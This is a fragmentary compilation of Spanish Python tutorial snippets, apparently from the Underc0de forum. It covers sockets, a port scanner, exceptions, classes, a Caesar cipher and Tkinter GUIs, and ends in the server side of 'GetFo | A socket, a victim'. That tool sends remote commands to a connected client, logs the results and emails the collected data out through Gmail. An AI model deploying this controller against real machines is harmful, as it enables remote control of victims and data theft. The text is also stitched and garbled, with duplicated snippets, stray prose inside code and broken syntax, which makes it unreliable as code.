argfile = str(sys.argv[1])

CONSUMER_KEY = 'jajajajxDSoyUnaClaveGGG'
CONSUMER_SECRET = 'djnadoamcaeocmoaincoadoajodjaoe666'
ACCESS_KEY = 'Underc0deEsMiCasa-CasiCasiPeroNoPorquexD'
ACCESS_SECRET = 'SaludosALaMuerteBlancaxDZoyJenial'

auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)

auth.set_access_token(ACCESS_KEY, ACCESS_SECRET)

api = tweepy.API(auth)

filename = open(argfile,'r')
f = filename.readlines()
filename.close()

Hi! Im a robot crafted in Python
#Underc0de is ma' house!
Beep boop buuup

for line in f:
    print("[+] Tweeting something...")
    api.update_status(status = line)
    print("[+] Tweet: ", line)
    time.sleep(200)

# -*- coding: utf-8 -*-
 
import tweepy, time, sys

argfile = str(sys.argv[1])

CONSUMER_KEY = 'jajajajxDSoyUnaClaveGGG'
CONSUMER_SECRET = 'djnadoamcaeocmoaincoadoajodjaoe666'
ACCESS_KEY = 'Underc0deEsMiCasa-CasiCasiPeroNoPorquexD'
ACCESS_SECRET = 'SaludosALaMuerteBlancaxDZoyJenial'

auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
auth.set_access_token(ACCESS_KEY, ACCESS_SECRET)
api = tweepy.API(auth)
 
filename = open(argfile,'r')
f = filename.readlines()
filename.close()
 
for line in f:
    print("[+] Tweeting something...")
    api.update_status(status = line)
    print("[+] Tweet: ", line)
    time.sleep(20)

import socket

mi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

mi_socket.bind(("127.0.0.1", 9999))

mi_socket.listen(5)

sc, addr = mi_socket.accept()

recibido = sc.recv(1024)

nuestra_respuesta = "Hola cliente, yo soy el servidor. Unete a underc0de!"
sc.send(nuestra_respuesta.encode('utf-8'))

sc.close()
mi_socket.close()

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1", 9999))
s.listen(5)

print ("Servidor de Chat\n")

while True:
	print ("Esperando conexión...")
	sc, addr = s.accept()
	print ("Cliente conectado desde: ", addr)

	while True:
		recibido = sc.recv(1024)
		if recibido == "quit":
			break
		print ("Recibido: ", recibido)

		nuestra_respuesta = "Hola cliente, yo soy el servidor. Unete a underc0de!"
		sc.send(nuestra_respuesta.encode('utf-8'))

print ("Adios")
sc.close()
s.close()

socket_cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

socket_cliente.connect(("127.0.0.1", 9999))

while True:
	mensaje = "Hola, soy el cliente, y ya me uní a underc0de!"

	socket_cliente.send(mensaje.encode("utf-8"))

recibido = socket_cliente.recv(1024)
print("Recibido: ", recibido)

socket_cliente.close()

import socket

socket_cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_cliente.connect(("localhost", 5000))

while True:
	mensaje = str(input(">> "))
	socket_cliente.send(mensaje.encode('utf-8'))

	recibido = socket_cliente.recv(1024)
	print("Recibido: ", recibido)

print ("Adios")
socket_cliente.close()

# Coded by Barlan. 2015
import socket
import sys

if len(sys.argv) != 4:
	print("[!] Use: scan.py [IP_to_scan] [Initial_Port] [Final_Port]")
	sys.exit(1)

def connect(IP, port):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	socket.setdefaulttimeout(0.6)
	try:
		s.connect((IP, port))
		return(1)
	except:
		return(2)

IP = str(sys.argv[1])
ip = int(sys.argv[2])
fp = int(sys.argv[3])
print("[*] Connecting to %s, scanning from %s to %s ..." % (IP, ip, fp))

for port in range(ip, fp+1):
	e = connect(IP, port)
	if e == 2:
		print("[-] %s closed." % port)
	else:
		print("[+] %s open." % port)

print("Finished!")

for port in range(ip, fp+1):
	e = connect(IP, port)
	if e == 2:
		print("[-] %s closed." % port)
	else:
		print("[+] %s open." % port)

try:
    print(10 / 0)
except:
    print("No se puede dividir entre cero!")

try:
    x = open("Hola.txt", "r")
    print(x)
except (IOError):
    print("No se encontró el archivo.")

print("Ja! Seguí ejecutandome ;)")

try:
    x = open("Hola.txt", "r")
    y = x.readlines()
    print(y[5])
except (IOError, IndexError):  # Posiblemente ocurra alguno de estos 2 errores)
    print("Ocurrio un problema.")

print("Ja! Seguí ejecutandome ;)")

import sys

for arg in sys.argv[1:]:
    try:
        f = open(arg, 'r')
    except IOError:
        print('no pude abrir', arg)
    else:
        print(arg, 'tiene', len(f.readlines()), 'lineas')
        f.close()

try:
    print(x / 10)
except (NameError):
    print("Error. No existe la variable 'x'")
else:
    print("Soy el else.")
finally:
    print("Yo me ejecuto porque se me pega la gana! Thug Life 8)")

>>> raise NameError('Hola')
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
NameError: Hola

try:
    raise NameError("Hola")
except NameError:
    print("Voló una excepción!")
    raise

class MiError(Exception):
    def __init__(self, valor):
        self.valor = valor

    def __str__(self):
        return repr(self.valor)

try:
    raise MiError(2*2)
except Exception as e:
    print("Ocurrió una excepción. Valor:", e)

raise MiError("Oops! Un error!")

def dividir(x, y):
    try:
        result = x / y
    except ZeroDivisionError:
        print("¡División por cero!")
    else:
        print("El resultado es: ", result)
    finally:
        print("Instrucción finally.")

dividir(2,1)
dividir(2,0)
dividir("hi", "sudo")

for linea in open("miarchivo.txt"):
    print(linea, end="")

with open("miarchivo.txt") as f:
    for linea in f:
        print(linea, end="")

class Gato:
    def __init__(self):
        print("Ha nacido un gato.")

    def miau(self):
        print("Miau!")

g = Gato() # Imprimirá "Ha nacido un gato."
g.miau() # Imprimirá "Miau!"

class Gato:
    def __init__(self, energia, hambre):
        self.energia = energia
        self.hambre = hambre
        print("Un gato ha nacido!")

    def miau(self):
        print("Miau!")

g = Gato(5,3) # Imprimirá "Ha nacido un gato."
g.miau() # Imprimirá "Miau!"

class Gato:
    def __init__(self, energia, hambre):
        self.energia = energia
        self.hambre = hambre
        print("Un gato ha nacido!")

    def miau(self):
        print("Miauuu!")
 
    def tomar_leche(self, leche_en_litros):
        self.hambre += leche_en_litros
        print ("El gato toma su leche")
 
    def acariciar(self):
        print ("Prrrrr...")
 
    def jugar(self):
        if self.energia <= 0 or self.hambre <=1:
            print ("El gato no quiero jugar")
        else:
            self.energia -=1
            self.hambre -= 2
            print ("Al gato le encanta jugar")
 
    def dormir(self, horas):
        self.energia += horas
        print ("El gato tomo una siesta")

gato = Gato(7,5)
gato.miau()
gato.tomar_leche(2)
gato.acariciar()
gato.jugar()
gato.dormir(4)

gato = Gato(7,5)
for i in range(3):
    gato.jugar()

class Felino:
    def __init__(self):
        print("Ha nacido un felino!")

    def rugido(self):
        print("El felino dió un rugido.")

class Gato(Felino):
    def __init__(self, energia, hambre):
        self.energia = energia
        self.hambre = hambre
        print("Un gato ha nacido!")

    def miau(self):
        print("Miauuu!")
 
    def tomar_leche(self, leche_en_litros):
        self.hambre += leche_en_litros
        print ("El gato toma su leche")
 
    def acariciar(self):
        print ("Prrrrr...")
 
    def jugar(self):
        if self.energia <= 0 or self.hambre <=1:
            print ("El gato no quiero jugar")
        else:
            self.energia -=1
            self.hambre -= 2
            print ("Al gato le encanta jugar")
 
    def dormir(self, horas):
        self.energia += horas
        print ("El gato tomo una siesta")

gato = Gato(3,3)
# Se creo un gato
 
gato.rugido()
# El felino dio un rugido

class Mascota:
    def __init__(self):
        print("Se creo la mascota")
 
    def sientate(self):
        print("La mascota se sentó")

class Felino:
    def __init__(self):
        print("Ha nacido un felino!")

    def rugido(self):
        print("El felino dió un rugido.")

class Gato(Felino, Mascota):
    def __init__(self, energia, hambre):
        self.energia = energia
        self.hambre = hambre
        print("Un gato ha nacido!")

    def miau(self):
        print("Miauuu!")
 
    def tomar_leche(self, leche_en_litros):
        self.hambre += leche_en_litros
        print ("El gato toma su leche")
 
    def acariciar(self):
        print ("Prrrrr...")
 
    def jugar(self):
        if self.energia <= 0 or self.hambre <=1:
            print ("El gato no quiero jugar")
        else:
            self.energia -=1
            self.hambre -= 2
            print ("Al gato le encanta jugar")
 
    def dormir(self, horas):
        self.energia += horas
        print ("El gato tomo una siesta")

gato = Gato(3,3)
# Se creo un gato
 
gato.rugido()
# El felino dio un rugido
 
gato.sientate()
# La mascota se sentó

class Gato:
   def ruge(self):
       print("El gato maulla")
 
class Perro:
   def ruge(self):
       print("El perro ladra")
 
def rugir(animal):
    animal.ruge()

gato = Gato()
perro = Perro()
 
rugir(gato)
# 'El gato maulla'
 
rugir(perro)
# 'El perro ladra'

class Ejemplo:
    def __init__(self):
        print("Hola")

    def publica(self):
        print("Soy publica!")

    def __privada(self):
        print("Soy privada!")

e = Ejemplo()
print(e.publica())
print(e.__privada())

class ClaseOtroEjemplo:
   def __init__(self):
       self.publico = 'variable publica'
       self.__privado = 'variable privada'
 
   def obtener_privado(self):
       print self.__privado

def nombre(parametro1, parametro2, ..., parametron):
	algoritmo(s)

def nombre():
	print("Hola")

nombre() #Llamamos la función escribiendo su nombre

def funcion(): 
    return "Hola Mundo" 
 
frase = funcion() 
print(frase)

def recorrer_parametros_arbitrarios(parametro_fijo, *arbitrarios): 
    print(parametro_fijo) 
 
    # Los parámetros arbitrarios se recorren como tuplas
    for argumento in arbitrarios: 
        print(argumento)
 
recorrer_parametros_arbitrarios('Fijo', 'arbitrario 1', 'arbitrario 2', 'arbitrario 3')

def saludo(idioma, saludo):
    if idioma == "es":
        print("Idioma: Espanol\nSaludo: %s" % saludo)
    if idioma == "en":
        print("Languaje: English\nRegard: %s" % saludo)

saludo("es", "Hola!")

saludo("Hola", "es")

def saludo(saludo, idioma="Espanol"):
    print("Un saludo en el idioma %s: %s" % (idioma, saludo))

saludo("Hola amigos!")

def hola(saludo):
    print(saludo)

hola(saludo="Hola amigos!")

def idiomas(**kwords):
    for idioma in kwords:
        print(idioma + " : " + kwords[idioma]) # Como podemos ver, concatenamos cada idioma con su valor.

idiomas(espanol="Hola", ingles="Hi!", japones="Konnichiwa")

def calcular(base, altura): 
    return base * altura
 
datos = [35, 10] 
print(calcular(*datos))   # Nos dará como resultado 35*10, osea: 350

def calcular(base, altura):
    return base * altura

datos = {
    "base": 50,
    "altura": 17
}
print(calcular(**datos))

def jugar(intento=1): 
    respuesta = str(input("¿De qué color es una naranja? "))
    if respuesta != "naranja":
        if intento < 3: 
            print ("\nFallaste! Inténtalo de nuevo")
            intento += 1 
            jugar(intento) # Llamada recursiva 
        else: 
            print ("\nPerdiste!")
    else:
        print ("\nGanaste!")
jugar()

def escaner(*ports):
    for valor in ports:   # Leemos los valores de la tupla ports
        for port in valor:   # Por cada valor encontrado...
            print("[*] Scanning port: " + str(port)) 

ports = [22, 23, 999, 1024, 9999, 10234, 20302]
escaner(ports)

def diccionario(**kwords):
    for servicio in kwords:
        print("Escaneando " + servicio + " en puerto: " + kwords[servicio])
servicios = {
    "SSH": "22",
    "Telnet": "23",
    "SMTP": "25",
    "HTTP": "80",
    "IMAP": "143"
}
diccionario(**servicios)

x = int(input("Numero 1: "))
y = int(input("Numero 2: "))

if x <= 10 and y <= 10:
	print(True)
else:
	print(False)

x = int(input("Numero 1: "))
y = int(input("Numero 2: "))

if x <= 10 or y <= 10:
	print(True)
else:
	print(False)

x = int(input("Numero 1: "))
y = int(input("Numero 2: "))

if not x > y:
	print(True)
else:
	print(False)

if condición:
	instrucción1
	instrucción2
	.
	.
	.
	instrucción n

edad = int(input("Ingresa tu edad: "))

if edad < 18:
	print("Eres menor de edad")

print("Tu edad es: ", edad)

nombre = str(input("Tu nombre: "))

if nombre == "pedro":
	print("¡Hola, Pedro!")

>>> x = []
>>> y = []
>>>
>>> x is y
False
>>>
>>> x == y
True
>>>

>>> n = int()
>>> m = int()
>>> n is m
True
>>>

>>> int()
0

>>> a = 0
>>> b = 0
>>> a is b
True
>>>

>>> id(a)
2012980272
>>> id(b)
2012980272
>>>

'''
Autor: JaAViEr | 0X5D
Twitter: @javieresteban__
Website: http://codigo.ga
'''
class Programa:
            
        def recorrer(self, variable, subitem=False):
     
                for l in variable:
                    
                            tipo = type(l)
                            if tipo is list:
                            
                                    print "-" * 40
                                    print "Lista:", l
                                    print "Recorriendo elementos de la lista (%s)..." % (len(l))
                                    self.recorrer(l, True)
                                    
                            elif tipo is int:
                            
                                    print "Entero:", l
     
                            elif tipo is str:
                            
                                    if subitem:
                                            
                                            print " ",
                                    
                                    print "String:", l
                                    
                            elif tipo is tuple:
                            
                                    print "-" * 40
                                    print "Tupla:", l
                                    print "Recorriendo elementos de la tupla (%s)..." % (len(l))
                                    self.recorrer(l, True)
     
programa = Programa()
lista = [("Tupla Valor A","Tupla Valor B"), 1, "Javier", ["Elemento A", "Elemento B", "Elemento C"]]
programa.recorrer(lista)

----------------------------------------
Tupla: ('Tupla Valor A', 'Tupla Valor B')
Recorriendo elementos de la tupla (2)...
        String: Tupla Valor A
        String: Tupla Valor B
Entero: 1
String: Javier
----------------------------------------
Lista: ['Elemento A', 'Elemento B', 'Elemento C']
Recorriendo elementos de la lista (3)...
        String: Elemento A
        String: Elemento B
        String: Elemento C

if condición:
	instrucción1
	instrucción2
	.
	.
	.
	instrucciónn
else:
	instrucción1
	instrucción2
	.
	.
	.
	instrucciónn

numero = int(input("Ingresa un numero: "))

if numero <= 10:
	print("El numero es menor o igual a 10.")
else:
	print("El numero es mayor que 10.")

nombre = str(input("Ingresa tu nombre: "))

if nombre == "pedro":
	print("Hola, Pedro!")
else:
	print("¿Quien eres?")

nombre = str(input("Ingresa tu nombre: "))

print(len(nombre))

nombre = str(input("Nombre: "))

if len(nombre) >= 5:
	y = True
else:
	y = False

print(y)

nombre = str(input("Nombre: "))

y = True if len(nombre) >= 5 else False

print(y)

numero = int(input("Nombre: "))

y = 5 if numero <= 10 else 0

print(y)

if condición:
	instrucción1
	instrucción2
	.
	.
	.
	instrucciónn
elif condición:
	instrucción1
	instrucción2
	.
	.
	.
	instrucciónn
else:
	instrucción1
	instrucción2
	.
	.
	.
	instrucciónn

edad = int(input("¿Cuántos años tiene? "))

if edad >= 18 and edad < 120:
    print("Es usted mayor de edad")
elif edad < 0:
    print("No se puede tener una edad negativa")
elif edad >= 120:
    print("¿Seguro que tiene", edad, "años?")
else:
    print("Es usted menor de edad")

x != y     # x no es igual a y
x > y      # x es mayor que y
x < y      # x es menor que y
x >= y     # x es mayor o igual que y
x <= y     # x es menor o igual que y

while expresión:
   instrucción(es)

variable = int(input("Numero: "))

while variable <= 100:
	print(variable)

variable = int(input("Numero: "))

while variable <= 100:
	print(variable)
	variable += 1    # Cada vez que se imprima la variable, se le sumará 1 a ella.

while variable <= 100:

variable += 1

variable = variable + 1

while True:
	print("Underc0de")

mi_lista = ["Pablo", "Antonio", "Juan", "Mauricio"] 
for nombre in mi_lista: 
    print(nombre)

lista1 = ["Pedro", "Pablo", "Jorge"]
lista2 = ["Luis", "Carlos", "Julio"]

for nombre in lista2:
	lista1.append(nombre)

print(lista1)

cadena1 = "Hola, "
cadena2 = "mundo!"

cadena3 = cadena1 + cadena2

cadena = "Hola"

print(cadena * 10)

str = 'Hola, mundo!

print (str)          # Imprime la cadena completa
print (str[0])       # Imprime solo el primer caracter
print (str[2:5])     # Imprime desde el 3er caracter hasta el 5to
print (str[2:])      # Imprime la cadena comenzando el 3er caracter

cadena = "Hola, mundo!"

for x in cadena:    # Por cada caracter en la variable cadena...
    print(x)    # Imprimimos ese caracter.

lista = [1,2,3,4,5]
lista2 = [6,7,8,9,10]

print (lista)          # Imprime la primera lista
print (lista[0])       # Imprime el primer valor de la primera lista
print (lista[1:3])     # Imprime valores comenzando desde el 2do hasta el 4to.
print (lista[2:])      # Imprime comenzando desde el 3er valor
print (lista2 * 2)  # Imprime la segunda lista 2 veces
print (lista + lista2) #Concatena (o une) las 2 listas, lo cual imprime 1,2,3,4,5,6,7,8,9,10

tuple = ( 'Pablo', 786 , 2.23, 'Juan', 70.2  )
tupla2 = (123, 'Martín')

print (tuple)           # Imprime la primera tupla
print (tuple[0])        # Imprime el primer valor de la primera tupla
print (tuple[1:3])      # Imprime desde el 2do valor hasta el 3er valor
print (tuple[2:])       # Imprime desde el 3er valor
print (tupla2 * 2)   # Imprime la segunda tupla 2 veces
print (tuple + tupla2) # Concatenamos las 2 tuplas e imprimimos

tuple = ( 'Pablo', 786 , 2.23, 'Juan', 70.2  )
tuple[5] = "Mundo"

diccionario = {
	"Hola": 1,
	"mundo": 2,
	"!": 3
}
print(diccionario)

diccionario = {
	"Hola": 1,
	"mundo": 2,
	"!": 3
}

print(diccionario["Hola"])

diccionario2 = {} #Diccionario vacio
diccionario2["valor1"] = 50
diccionario2["valor2"] = 100

print(diccionario2)

diccionario = {
	"Hola": 1,
	"mundo": 2,
	"!": 3
}

for valor in diccionario:
	print(valor)

diccionario = {
	"Hola": 1,
	"mundo": 2,
	"!": 3
}

for valor in diccionario:
	print(valor, ":", diccionario[valor])

d = {
	"x": 12,
	"y": 7
}

if 'y' in d:
   print(d['y'])   # Imprime 7

from tkinter import *
from tkinter.messagebox import showinfo, showerror
from webcreator import Pagina

class GUI(Tk):
    def __init__(self):
        Tk.__init__(self)
        self.title("WebCreator v2.0")
        self.resizable(0,0)
        self.config(bg="black")

        topimg = PhotoImage(file="header.gif")
        t = Label(self, image=topimg, bg="white")
        t.image = topimg
        t.grid(row=0, column=0, columnspan=2, padx=5, pady=5)

        st = StringVar()
        st1 = StringVar()
        st2 = StringVar()
        st3 = StringVar()
        st4 = StringVar()
        st5 = StringVar()
        st6 = StringVar()
        st7 = StringVar()
        st8 = StringVar()
        st9 = StringVar()
        st10 = StringVar()
        st11 = StringVar()

        Label(self, text="Nombre de la página (html):", bg="black", fg="white").grid(row=1, column=0)
        self.page = Entry(self, textvariable=st, width=35)
        self.page.grid(row=1, column=1)

        Label(self, text="Título de la página:", bg="black", fg="white").grid(row=2, column=0)
        self.title = Entry(self, textvariable=st1, width=35)
        self.title.grid(row=2, column=1)

        Label(self, text="Color de fondo (pagina):", bg="black", fg="white").grid(row=3, column=0)
        self.color = Entry(self, textvariable=st2, width=35)
        self.color.grid(row=3, column=1)

        Label(self, text="Título <h1>:", bg="black", fg="white").grid(row=4, column=0)
        self.h1 = Entry(self, textvariable=st3, width=35)
        self.h1.grid(row=4, column=1)

        Label(self, text="Tamaño <h1> (0 - 200)", bg="black", fg="white").grid(row=5, column=0)
        self.tamh1 = Entry(self, textvariable=st4, width=35)
        self.tamh1.grid(row=5, column=1)

        Label(self, text="Color <h1> (ej: green):", bg="black", fg="white").grid(row=6, column=0)
        self.colorh1 = Entry(self, textvariable=st5, width=35)
        self.colorh1.grid(row=6, column=1)

        Label(self, text="URL de imagen central:", bg="black", fg="white").grid(row=7, column=0)
        self.url = Entry(self, textvariable=st6, width=35)
        self.url.grid(row=7, column=1)

        Label(self, text="Anchura de imagen:", bg="black", fg="white").grid(row=8, column=0)
        self.imganch = Entry(self, textvariable=st7, width=35)
        self.imganch.grid(row=8, column=1)

        Label(self, text="Altura de imagen:", bg="black", fg="white").grid(row=9, column=0)
        self.imgalt = Entry(self, textvariable=st8, width=35)
        self.imgalt.grid(row=9, column=1)

        Label(self, text="Texto (abajo de imagen):", bg="black", fg="white").grid(row=10, column=0)
        self.textdimg = Entry(self, textvariable=st9, width=35)
        self.textdimg.grid(row=10, column=1)

        Label(self, text="Tamaño de texto (img):", bg="black", fg="white").grid(row=11, column=0)
        self.tamtextimg = Entry(self, textvariable=st10, width=35)
        self.tamtextimg.grid(row=11, column=1)

        Label(self, text="Color de texto (img):", bg="black", fg="white").grid(row=12, column=0)
        self.colortextimg = Entry(self, textvariable=st11, width=35)
        self.colortextimg.grid(row=12, column=1)

        Button(self, text="Crear página!", command=self.create, bg="#545b58", fg="white").grid(row=13, column=0, columnspan=2, sticky=NSEW)

    def create(self):
        pagina = self.page.get()
        titulo = self.title.get()
        fondo = self.color.get()
        tam = self.tamh1.get()
        color = self.colorh1.get()
        text = self.h1.get()
        imagen1 = self.url.get()
        imagen2 = self.imganch.get()
        imagen3 = self.imgalt.get()
        textopeq1 = self.textdimg.get()
        textopeq = self.tamtextimg.get()
        textopeq2 = self.colortextimg.get()

        p = Pagina()
        r = p.crear(pagina, titulo, fondo, tam, color, text, imagen1, imagen2, imagen3, textopeq, textopeq1, textopeq2)
        if r == True:
            showinfo("Listo!", "Página %s creada!" % pagina)
        else:
            showerror("Error!", "La página no pudo ser creada")

GUI().mainloop()

#!/usr/bin/env python
####################
## PARA UNDERCODE ##
####################
 
#Version 1.5

body1 = "</body>"
html1 = "</html>"
title1 = "<title>"
title2 = "</title>"
style1 = "<style type='text/css'> <!-- body {background-color: "
style2 = ";} --> </style>"
tamano1 = "<center><font size='"
tamano3 = "' face='Arial' "
tamano2 = "' face='Impact' " 
color1 = "color='"
color2 = " '>"
fuentend = "</font></center>"
img1 = "<center><img src='"
img2 = "' width='"
img3 = "' height='"
img4 = "'></center>"
saltolinea = "\n"
 
 
class Pagina():
    def crear(self, pagina, titulo, fondo, tam, color, text, imagen1, imagen2, imagen3, textopeq1, textopeq, textopeq2):
        create=open(pagina, 'w') 
        create.write(body1 + saltolinea)
        create.write(html1 + saltolinea )
        create.write(title1 + titulo + title2 + saltolinea )
        create.write(style1 + fondo + style2 + saltolinea)
        create.write(tamano1 + tam + tamano2 + saltolinea)
        create.write(color1 + color + color2 + text + fuentend + saltolinea)
        create.write("<br>")
        create.write(img1 + imagen1 + img2 + imagen2 + img3 + imagen3 + img4 + saltolinea)
        create.write("<br>")
        create.write(tamano1 + textopeq1 + tamano3 + color1 + textopeq2 + color2 + textopeq + fuentend + saltolinea)
        create.write("<font size='5' face='Arial' color='white'><center><a href='http://underc0de.org/foro/index.php'>Underc[0]de Team.</a> </center></font><br>")
        create.close()

        return True

# -*- coding:utf-8 -*-
__author__ = "Barlan"

from caesar import Caesar   # Cifrado Cesar
from tkinter import *

class GUI(Tk):
    def __init__(self):
        Tk.__init__(self)
        self.title("GUI | Cifrado Caesar")
        self.resizable(0,0)
        self.config(bg="black")

        self.i = IntVar()
        self.s = StringVar()

        Label(self, text="Cadena: ", bg="black", fg="white").grid(row=0, column=0)
        self.cadena = Entry(self, textvariable=self.s, width=30)
        self.cadena.grid(row=0, column=1)

        Label(self, text="Clave a usar: ", bg="black", fg="white").grid(row=1, column=0)
        self.clave = Entry(self, width=20)
        self.clave.grid(row=1, column=1)

        self.rc = Radiobutton(self, text="Encriptar", variable=self.i, value=1, command=self.toCaesar, bg="black", fg="white")
        self.rc.grid(row=2, column=0)

        self.rd = Radiobutton(self, text="Desencriptar", variable=self.i, value=2, command=self.toCaesar, bg="black", fg="white")
        self.rd.grid(row=2, column=1)

        Label(self, text="Resultado:", bg="black", fg="red", relief=RIDGE).grid(row=3, column=0, columnspan=2) 

    def toCaesar(self):
        if self.i.get() == 1:
            cadena = self.cadena.get().upper()
            clv = int(self.clave.get())
            r = Caesar()
            a = r.cifrar(cadena, clv)

            Label(self, text=a, bg="black", fg="white", relief=RIDGE).grid(row=4, column=0, columnspan=2, sticky=NSEW)

        elif self.i.get() == 2:
            cadena = self.cadena.get().upper()
            clv = int(self.clave.get())
            r = Caesar()
            a = r.descifrar(cadena, clv)

            Label(self, text=a, bg="black", fg="white", relief=RIDGE).grid(row=4, column=0, columnspan=2, sticky=NSEW)

GUI().mainloop()

# -*- coding: utf-8 -*-

class Caesar():
    def __init__(self):
        # Lista de caracteres a usar.
        self.caract = "ABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789"

    def cifrar(self, cadena, clv):
        '''
        Función que cifrará nuestro mensaje, a partir de la cadena y clave proporcionada.
        '''
        resultado = ""
        for letra in cadena:
            if letra == " ":
                resultado += " "
            else:
                op = self.caract.find(letra) + clv
                modulada = int(op) % 37
                resultado = resultado + str(self.caract[modulada])

        return(resultado)

    def descifrar(self, cadena, clv):
        '''
        Función que descifrará nuestro mensaje cifrado, a partir de una clave y cadena proporcionada.
        '''
        resultado = ""
        for letra in cadena:
            if letra == " ":
                resultado += " "
            else:
                op = self.caract.find(letra) - clv
                modulada = int(op) % 37
                resultado = resultado + str(self.caract[modulada])

        return(resultado)

from tkinter import *
from tkinter.messagebox import showinfo, showerror, askquestion
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import os, sys, smtplib, socket, threading

class GUI(Tk):
    '''La ventana principal, main menu.'''
    def __init__(self):
        Tk.__init__(self)
        self.wm_iconbitmap('icono.ico')
        self.title("GetFo | A socket, a victim")
        self.resizable(0,0)
        self.config(bg="black")

        topimg = PhotoImage(file="mainimage.gif")
        t = Label(self, image=topimg, bg="black")
        t.image = topimg
        t.grid(row =0, column=0, padx=5,pady=5)
      
        Button(self, text="Start Server", command=self.toget, bg="black", fg="green", activeforeground="green", activebackground="black").grid(row=1, column=0, sticky=NSEW)
        Button(self, text="Send info", command=self.toemail, bg="black", fg="green").grid(row=2, column=0, sticky=NSEW)
        Button(self, text="Exit", command=self.quit, bg="black", fg="red").grid(row=3, column=0, sticky=NSEW)

        Label(self, text="Coded by Barlan | April 26, 2015", bg="black", fg="white").grid(row=4, column=0)

    '''Estas funciones "ocultan" la ventana principal, y nos muestran alguna de las otras 2 opciones.'''
    def toget(self):
        self.withdraw()
        Get()

    def toemail(self):
        self.withdraw()
        Email()

class Get(threading.Thread):
    '''Este es el servidor.
    Se asigna un socket, y espera una conexión. Al conectarse un cliente, inicia el envio de comandos.'''
    def __init__(self):
        threading.Thread.__init__(self)
        try:
            self.socksv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socksv.bind(("127.0.0.1", 10327))
            showinfo("Info", "Server now listening on 127.0.0.1:10327")
        except socket.error as e:
            showerror("Sorry!", str(e))
            self.socksv.close()
            sys.exit(1)

        self.root = Toplevel()
        self.root.wm_iconbitmap('icono.ico')
        self.root.resizable(0,0)
        self.root.title("GetFo | Server")
        self.root.config(bg="black")

        topimg = PhotoImage(file="mainserver.gif")
        t = Label(self.root, image=topimg, bg="black")
        t.image = topimg
        t.grid(row=0, column=0)

        self.start()

    def run(self):
        '''start() comienza la ejecución del servidor
        Muestra un mensaje de espera, y procede a esperar una conexión entrante.
        ''' 
        ac = Label(self.root, text="Awaiting connection...", bg="black", fg="white").grid(row=1, column=0)
        self.socksv.listen(2)
        self.sc, self.addr = self.socksv.accept()

        ac = Label(self.root, text="%s is now awaiting commands!" % str(self.addr), bg="black", fg="white").grid(row=1, column=0)
        self.cmds()

    def cmds(self):
        '''Aquí el usuario intruduce el comando a ejecutar en el cliente.'''
        vc = StringVar()

        f = Frame(self.root, bg="black")
        f.grid(row=2,column=0)
        c = Label(f, text="Command>", bg="black", fg="white").grid(row=0, column=0, sticky=NSEW)
        self.cmd = Entry(f, textvariable=vc, width = 40)
        self.cmd.grid(row=0, column=1)

        Button(self.root, text="Send!", command=self.send_cmd, bg="black", fg="green").grid(row=3, column=0, sticky=NSEW)
        Button(self.root, text="Exit", command=self.ask, bg="black", fg="red").grid(row=4, column=0, sticky=NSEW)

    def ask(self):
        aq = askquestion("Wait!", "Do you want to send the results via email?", icon='info')
        if aq == "yes":
            self.email()
        elif "no":
            self.exit_s()

    def send_cmd(self):
        '''Obtenemos el comando escrito, y lo enviamos al cliente.'''
        to_cmd = self.cmd.get()
        if to_cmd == "exit":
            self.sc.send(to_cmd.encode("utf-8"))
            self.sc.close()
            self.socksv.close()
            exit()

        self.sc.send(to_cmd.encode("utf-8"))
        self.recv_ans()

    def recv_ans(self):
        '''Después de que el cliente ejecuta el comando, recibimos los datos resultantes, y los guardamos en "data.txt"'''
        rec = self.sc.recv(2048)
        txt = rec.decode("utf-8")
        if os.path.exists("data.txt"):
            with open("data.txt", "a") as f:
                f.write(txt + "\n\n")
        else:
            with open("data.txt", "w") as f:
                f.write(txt + "\n\n")
        showinfo("Success!", "Data received and saved on 'data.txt'")
        self.cmds()

    def exit_s(self):
        self.sc.send("exit".encode("utf-8"))
        self.sc.close()
        self.socksv.close()
        exit()

    def email(self):
        self.root.withdraw()
        Email()

class Email():
    '''Email() nos brinda una ventana hija con los campos necesarios para el logueo en el servicio de Gmail.'''
    def __init__(self):
        try:
            self.gmail = smtplib.SMTP("smtp.gmail.com", 587)
        except Exception as e:
            showerror("Fatal Error", str(e))
            exit()
        self.GW = Toplevel()
        self.GW.wm_iconbitmap('icono.ico')
        self.GW.resizable(0,0)
        self.GW.title("GetFo | Gmail Loggin")
        self.GW.config(bg="black")

        topim = PhotoImage(file="header-gmail.gif")
        r = Label(self.GW, image=topim, bg="black")
        r.image = topim
        r.pack()
        
        me = StringVar()
        mp = StringVar()
        Frame_User = Frame(self.GW, bg="black")
        Frame_User.pack()

        Label(Frame_User, text="Your Gmail account:", bg="black", fg="green").pack(side=LEFT)
        self.my_email = Entry(Frame_User, textvariable=me, width = 25)
        self.my_email.pack(side=RIGHT)
    
        Frame_Pass = Frame(self.GW, bg="black")
        Frame_Pass.pack()

        Label(Frame_Pass, text="Your Password:", bg="black", fg="green").pack(side=LEFT)
        self.my_passw = Entry(Frame_Pass, textvariable=mp, show="*", width = 25)
        self.my_passw.pack(side=RIGHT)

        self.email_button = Button(self.GW, text="Enter", command=self.login_gmail, bg="black", fg="green")
        self.email_button.pack(fill=X)

        salir = Button(self.GW, text="Exit", command=self.GW.quit, bg="black", fg="red")
        salir.pack(fill=X)

    def login_gmail(self):
        '''login_gmail() recibe nuestros datos, e intenta loguearnos'''
        account = self.my_email.get()
        self.password = self.my_passw.get()
        self.gmail.ehlo()
        self.gmail.starttls()
        try:
            self.gmail.login(account, self.password)
            showinfo("Success", "You are now logged in Gmail.")
        except:
            showerror("Error", "Unable to login into %s." % account)
            exit()
        gmail = self.gmail
        newEmail(gmail, account)
        self.GW.withdraw()

class newEmail(Email):
    ''' Despues de loguearnos, procedemos a crear el email junto con el archivo (datos recolectados) ajuntados.'''
